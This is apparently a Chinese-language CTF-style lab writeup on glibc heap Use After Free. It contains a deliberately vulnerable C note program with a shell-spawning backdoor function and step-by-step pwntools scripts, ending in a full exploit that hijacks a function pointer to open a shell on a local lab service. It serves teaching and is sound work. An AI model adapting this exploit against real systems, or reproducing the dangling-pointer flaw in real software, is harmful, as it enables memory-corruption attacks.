前言
在前面文章中,我們討論了 Glibc 的 malloc 和 free 流程,並介紹了一些相關的名詞。接下來,我們將探討與 Heap 相關的漏洞,而第一個要介紹的漏洞是 Use After Free。
Use After Free
顧名思義,Use After Free 指的是使用已經被 free 掉的指標(pointer)。問題的根源在於 dangling pointer。當一個指標被 free 之後,如果沒有將其設為 NULL,就會產生 dangling pointer。
Use After Free 的利用方式會隨著使用的情境有所不同,可能導致:
- 任意位置讀取或寫入
- 間接影響程式的控制流程
此外,它也可能被用來 leak 記憶體中的殘值。同樣的,另一個常見的 Heap 漏洞——double free,也是因為 dangling pointer 的存在,導致多次 free 相同的記憶體區塊。這些漏洞都可以通過特定技巧加以利用。
Lab
查看以下原始碼:
1#include<stdio.h>
2#include<stdlib.h>
3
4struct Note{
5 void (*printnote_content)();
6 char *content;
7};
8
9struct Note *noteList[10];
10int noteCount = 0;
11
12void printnote_content(struct Note *this){
13 printf("%s\n", this->content);
14}
15
16void add_note(){
17 int i,size;
18 if(noteCount >= 10){
19 printf("No more space for new note\n");
20 return;
21 }
22 for(i=0; i < 10; i++){
23 if(noteList[i] == NULL){
24 noteList[i] = (struct Note *)malloc(sizeof(struct Note));
25 if(noteList[i] == NULL){
26 printf("Memory allocation failed\n");
27 exit(1);
28 }
29 noteList[i]->printnote_content = printnote_content;
30 printf("Enter the size of the note: ");
31 scanf("%d", &size);
32 noteList[i]->content = (char *)malloc(size);
33 if(noteList[i]->content == NULL){
34 printf("Memory allocation failed\n");
35 exit(1);
36 }
37 printf("Enter the content of the note: ");
38 read(0, noteList[i]->content, size);
39 noteCount++;
40 break;
41 }
42 }
43}
44
45void delete_note(){
46 int index;
47 printf("Enter the index of the note: ");
48 scanf("%d", &index);
49 if(index < 0 || index >= noteCount){
50 printf("Invalid index\n");
51 exit(1);
52 }
53 if(noteList[index] != NULL){
54 free(noteList[index]->content);
55 free(noteList[index]);
56 printf("Note deleted\n");
57 }
58}
59
60void print_note(){
61 int index;
62 printf("Enter the index of the note: ");
63 scanf("%d", &index);
64 if(index < 0 || index >= noteCount){
65 printf("Invalid index\n");
66 exit(1);
67 }
68 if(noteList[index] != NULL){
69 noteList[index]->printnote_content(noteList[index]);
70 }
71}
72
73void backdoor(){
74 system("/bin/sh");
75}
76
77void menu(){
78 printf("1. Add note\n");
79 printf("2. Delete note\n");
80 printf("3. Print note\n");
81 printf("4. Exit\n");
82 printf("Enter your choice: ");
83}
84
85int main(){
86 setvbuf(stdout, 0, 2, 0);
87 setvbuf(stdin, 0, 2, 0);
88 setvbuf(stderr, 0, 2, 0);
89 while(1){
90 menu();
91 int choice;
92 scanf("%d", &choice);
93 switch(choice){
94 case 1:
95 add_note();
96 break;
97 case 2:
98 delete_note();
99 break;
100 case 3:
101 print_note();
102 break;
103 case 4:
104 exit(0);
105 break;
106 default:
107 printf("Invalid choice\n");
108 break;
109 }
110 }
111 return 0;
112}
使用以下指令進行編譯:
1gcc src/uaf.c -o ./uaf/share/uaf -no-pie -fstack-protector-all
writeup
這是一道典型的選單式 Heap 題目。程式碼量雖然較大,但功能很簡單,包括新增、刪除和輸出 Note。
- 新增 Note
- 先檢查 Note 是否已滿
- 分配一個 Note 結構(包含 function pointer 和 content)
- 將 function pointer 指向 printnote_content
- 輸入 size 並分配對應大小的 content
- 存入 content
- 刪除 Note
- 輸入要刪除的 Note index
- 釋放對應的記憶體
- 輸出 Note
- 透過 function pointer 輸出 Note 的 content
漏洞出現在刪除 Note 的部分。刪除後沒有將指標設為 NULL,因此仍可對該位置進行操作。接下來,我們可以通過一個簡單的腳本來測試這個漏洞,在此之前,我們可以先將各個功能寫好,這樣會比較方便操作
1from pwn import *
2
3r = process('../uaf/share/uaf')
4# r = remote('127.0.0.1', 10012)
5
6def add(size, data):
7 r.sendlineafter(': ', '1')
8 r.sendlineafter(': ', str(size))
9 r.sendlineafter(': ', data)
10
11def delete(idx):
12 r.sendlineafter(': ', '2')
13 r.sendlineafter(': ', str(idx))
14
15def print_(idx):
16 r.sendlineafter(': ', '3')
17 r.sendlineafter(': ', str(idx))
我們首先新增兩個 note,觀察它們在 Heap 上的狀態:
1from pwn import *
2
3r = process('../uaf/share/uaf')
4# r = remote('127.0.0.1', 10012)
5
6gdb.attach(r)
7
8def add(size, data):
9 r.sendlineafter(': ', '1')
10 r.sendlineafter(': ', str(size))
11 r.sendlineafter(': ', data)
12
13def delete(idx):
14 r.sendlineafter(': ', '2')
15 r.sendlineafter(': ', str(idx))
16
17def print_(idx):
18 r.sendlineafter(': ', '3')
19 r.sendlineafter(': ', str(idx))
20
21add(0x20, 'aaaa') # 0
22add(0x20, 'bbbb') # 1
23r.interactive()
使用 heap 指令觀察記憶體分佈,會看到分配了大小、function pointer 和 data 等數據。


接下來,我們嘗試釋放這兩塊記憶體,並繼續觀察:
1from pwn import *
2
3r = process('../uaf/share/uaf')
4# r = remote('127.0.0.1', 10012)
5
6gdb.attach(r)
7
8def add(size, data):
9 r.sendlineafter(': ', '1')
10 r.sendlineafter(': ', str(size))
11 r.sendlineafter(': ', data)
12
13def delete(idx):
14 r.sendlineafter(': ', '2')
15 r.sendlineafter(': ', str(idx))
16
17def print_(idx):
18 r.sendlineafter(': ', '3')
19 r.sendlineafter(': ', str(idx))
20
21add(0x20, 'aaaa') # 0
22add(0x20, 'bbbb') # 1
23delete(0)
24delete(1)
25r.interactive()
當空間被釋放後,可以觀察到該空間進入了 tcache bins。我們可以嘗試拿到 index 為 0 的 Note 的 function pointer 空間,進行測試:

此時我們使用簡單的 script 會發現可以覆蓋原本的 function pointer。如果我們再 print 這個 note 的 content,就能控制執行流程。
1from pwn import *
2
3r = process('../uaf/share/uaf')
4# r = remote('127.0.0.1', 10012)
5
6gdb.attach(r)
7
8def add(size, data):
9 r.sendlineafter(': ', '1')
10 r.sendlineafter(': ', str(size))
11 r.sendlineafter(': ', data)
12
13def delete(idx):
14 r.sendlineafter(': ', '2')
15 r.sendlineafter(': ', str(idx))
16
17def print_(idx):
18 r.sendlineafter(': ', '3')
19 r.sendlineafter(': ', str(idx))
20
21add(0x20, 'aaaa') # 0
22add(0x20, 'bbbb') # 1
23delete(0)
24delete(1)
25add(0x10, 'ccccdddd')
26r.interactive()
查看狀況會發現確實蓋到了原本的 function pointer

此時如果去 print 那一塊 note 的 content 就會呼叫到此 function pointer,所以我們可以藉此控制執行流程
那程式中有一個後門函式,我們可以使用 objdump 來確認其位址,發現後門在 0x4015c8。我們可以將這個地址寫入 function pointer,並成功打開 shell。

所以我們將 address 填入,並且在 print 出內容,這樣就可以成功開啟 shell 了
完整 exploit:
1from pwn import *
2
3# r = process('../uaf/share/uaf')
4r = remote('127.0.0.1', 10012)
5
6def add(size, data):
7 r.sendlineafter(': ', '1')
8 r.sendlineafter(': ', str(size))
9 r.sendlineafter(': ', data)
10
11def delete(idx):
12 r.sendlineafter(': ', '2')
13 r.sendlineafter(': ', str(idx))
14
15def print_(idx):
16 r.sendlineafter(': ', '3')
17 r.sendlineafter(': ', str(idx))
18
19backdoor = 0x00000000004015c8
20
21add(0x20, 'aaaa') # 0
22add(0x20, 'bbbb') # 1
23delete(0)
24delete(1)
25add(0x10, p64(backdoor))
26print_(0)
27r.interactive()
solved!!!

結論
Use After Free 是一種經典的漏洞,特別是在使用 Heap 分配記憶體的環境中。我們通過覆蓋 function pointer,成功控制程式的執行流程。這個案例說明了記憶體管理中的常見陷阱,以及如何利用這些漏洞進行攻擊。